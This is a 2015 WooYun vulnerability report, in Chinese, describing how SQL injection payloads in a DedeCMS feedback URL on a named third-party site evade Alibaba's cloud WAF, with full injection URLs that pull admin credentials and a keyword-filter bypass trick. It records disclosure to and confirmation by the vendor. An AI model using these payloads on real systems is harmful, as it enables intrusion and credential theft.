漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0116208
漏洞标题:阿里巴巴云盾防御策略可以bypass(实例证明)
相关厂商:阿里巴巴
漏洞作者: izy
提交时间:2015-05-26 10:45
修复时间:2015-07-10 17:22
公开时间:2015-07-10 17:22
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-05-26: 细节已通知厂商并且等待厂商处理中
2015-05-26: 厂商已经确认,细节仅向厂商公开
2015-06-05: 细节向核心白帽子及相关领域专家公开
2015-06-15: 细节向普通白帽子公开
2015-06-25: 细节向实习白帽子公开
2015-07-10: 细节向公众公开
简要描述:
实例证明,求不忽略!
详细说明:
别人给的一个测试网站:http://www.fywealth.cn/
首先访问这个exp,在aid=1555时添加评论,insert类型的注入:
我们可以看到当aid=1555能注入出用户,说明确实有注入!
现在我们看看能不能select出密码:
http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1532','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',(select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1))%23
发现被拦截
然后我们fuzz发现from和select的单词边界被拦截,所以构造(select(select{x pwd}from{x %23@__admin}+limit+1))
访问:http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1534','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',(select(select{x pwd}from{x %23@__admin}+limit+1)))%23
可以看到成功绕过了waf,发送到服务端(从报错语句就能看出来确实是绕过了waf发送到了服务器的),但是貌似mysql版本过低(5.0.x),所以出现了mysql报错,如果mysql不是低版本的话是可以select出来密码的。
找到此服务器的mysql版本为5.0.22,本地搭建5.0.22的mysql测试,此类型的会报错!
但是5.5的就可以,其他的就不测试了~
让我们看看这条语句是否真的发送到了服务器端,如果发送到了mysql报错会显示出来,如果没发送到服务端mysql报错将不显示我们的语句。
我们在关键语句前加update让它报错
http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1534','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0','x' update (select(select{x pwd}from{x %23@__admin}+limit+1)))%23
现在可以确认了是完全绕过了waf吧!可以确认此语句是发送到了服务器的,接下来我们只要证明这种类型的语句可以执行达到注入攻击的目的就ok了!
可能还会有人认为这个密码还是没有select出来不能让大家信服,因为没有好的环境测试,所以我们本地测试此语句。
构造一个差不多的语句如下:
这是可以成功执行的
上面的只是证明了bypass了waf的一种sql注入,但是这种查询方式还能运用到到其他注入攻击
利用select{x pwd}from{x %23@admin}limit 1) 还可以进行报错注入等....
无奈此环境也没有报错注入函数去实验,但是已经绕过了waf的拦截,是肯定可以报错注入出来的
漏洞证明:
修复方案:
你懂得
版权声明:转载请注明来源 izy@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2015-05-26 17:20
厂商回复:
亲,之前已有白帽子上报过同样问题,我们将在近期版本升级中解决这一问题。感谢您对阿里巴巴安全的关注!
最新状态:
暂无